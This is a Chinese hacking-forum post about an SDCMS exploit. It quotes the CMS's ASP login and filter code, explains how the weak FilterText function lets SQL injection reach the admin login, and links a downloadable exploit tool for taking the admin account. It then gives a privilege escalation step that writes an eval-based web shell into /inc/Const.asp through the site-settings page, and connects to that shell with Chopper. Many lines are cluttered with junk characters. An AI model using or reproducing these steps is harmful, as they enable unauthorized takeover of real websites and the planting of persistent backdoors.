SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp

Sub Check
" b$ E  V  G. f" I. x6 Q    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
* H0 a! r; I3 g    username=FilterText(Trim(Request.Form("username")),1)
, A, r# y' z: y$ M    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
9 j0 S" l$ J5 B2 s+ n3 Z" X    getcode=Session("SDCMSCode")
8 `* {- O8 a# e# o5 o! \8 o    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
6 W0 m' P  N. c3 A7 C5 H3 d    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
/ R; G+ K( G9 W- s9 M# Z    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
6 B- p0 _' @- }7 v8 u. v/ A/ I* [        Echo "用户名或密码不能为空"ied
    Else
9 g, D# E5 h: o, ]  z9 E        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
- `* v6 F$ y# B; F" J9 O' n) S            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
            Add_Cookies "sdcms_id",Rs(0)
" Y3 E& P$ B2 g            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
3 @  f9 E; P9 o, ?/ K) m- h  L            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
% @' b5 h7 R5 y4 k            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
( \7 z" h# W6 z' F4 P            End IF
0 C, S6 |( x8 o  u- L            Go("sdcms_index.asp")
3 v: l9 P" Q3 P2 Y        End IF
        Rs.Close
        Set Rs=Nothing
5 K$ d% y9 \3 n- T. p9 }- `    End IF
End Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
7 i# }3 d3 }( m. r  S- {  b9 `
- E* I2 M# q9 B5 }Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
, q* ?( ^5 L. R( f! [    t0=Trim(t0)
. |* \; K! ^5 Z. g    Select Case t1
        Case "1"
# p5 R5 V( P5 j) z            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
* M2 d; o/ C1 B2 U# u3 H" d8 z            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
        Case "2"
8 F! ~, K' G; l' S: Y            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
5 c; Q' f- P$ @5 V% J            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
; x1 j6 j) J1 Y            t0=Replace(t0,Chr(22),"")
- G7 X) e+ u) P0 l" w            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
1 `( @" \4 v/ ^6 o7 f            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
6 B- k* N6 s- W0 M            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
( W$ \0 x# }, j0 K& ]$ H( T8 t3 G' j            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
# {$ k& P9 e" Z3 @            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
4 F$ H$ D, }4 P: H& h, k7 p            t0=Replace(t0,Chr(45),"")'-
; @) R* a% e& ~- q            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
6 u/ U  w! R. l( e) @1 @6 M( t            t0=Replace(t0,Chr(58),"")':
. u* D0 W0 q8 s) C            t0=Replace(t0,Chr(59),"")';
( D3 |! ]0 U+ I+ f4 V7 a- h            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
            t0=Replace(t0,Chr(63),"")'?
; |( J# |. a/ G. {            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
8 M7 H: M  Y. `$ S            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
! b1 ~) f- {' L  u; G            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
7 t  D* [3 v- D0 r5 D3 E- q            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
- ?+ @' R/ W+ K            t0=Replace(t0,Chr(125),"")'}
2 A$ Y2 D# ~* b- K            t0=Replace(t0,Chr(126),"")'~
    Case Else
& U: @( p6 M5 l: G6 R/ E2 L        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
! W( |5 S9 L% }% }- @2 Y0 p        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
* _% l+ d5 ~8 T8 n% x5 C8 {    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
9 }9 o" T+ `* u6 }& v( g& d7 ^7 x* X        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
4 _6 U0 B* I4 s: Y    End If
    FilterText=t0
7 C: u9 |" i' Y) P1 _  @End Function

0 {  I; S+ [# `看到没。直接参数是1 只过滤
, t9 R6 H( K0 i% R# C- W" p                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
1 X- S! u- n% D; x& O                        t0=Replace(t0,Chr(10)&Chr(10),"
- m. R. v6 p( Y2 G6 `6 F+ I8 w")
9 K" h# S$ C+ p! S2 b                        t0=Replace(t0,Chr(10),"
, y9 t: P: a8 w")
7 Z1 X$ S$ S# Q. n' u' D漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
: k  x- g6 Z& I; G1 g
" m- n& @. m) e; U' P  F测试:
5 j7 e2 y' }: N! ?. c' F, [
+ W+ x% X( n' y0 f  f3 W
+ y* X1 I: @) x: ~+ K现在输入工具上验证码,然后点OK
" Y5 u2 I* R+ \7 S1 Y
# Y. [" J* }6 k; n$ J, Y, [/ e9 m
看到我们直接进入后台管理界面了,呵呵!
+ y3 b" j9 W+ {3 K


这样直接进入后台了。。。。
( m6 T* l$ K& C' U


5 Z) }' v! G9 b5 ^SDCMS提权:
) p2 D% |$ o& I/ j- Q4 B: g, ?& P
5 ^8 r1 Z1 c5 C4 q  M, i% k$ U8 Y( e方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
8 k8 `, O& Z$ _4 |


OK,现在用菜刀连接下!
* \, F  @, v6 }

# m& Z4 ^" W3 l: ~, a9 M* t

2 ]& D+ i; C  j8 i  _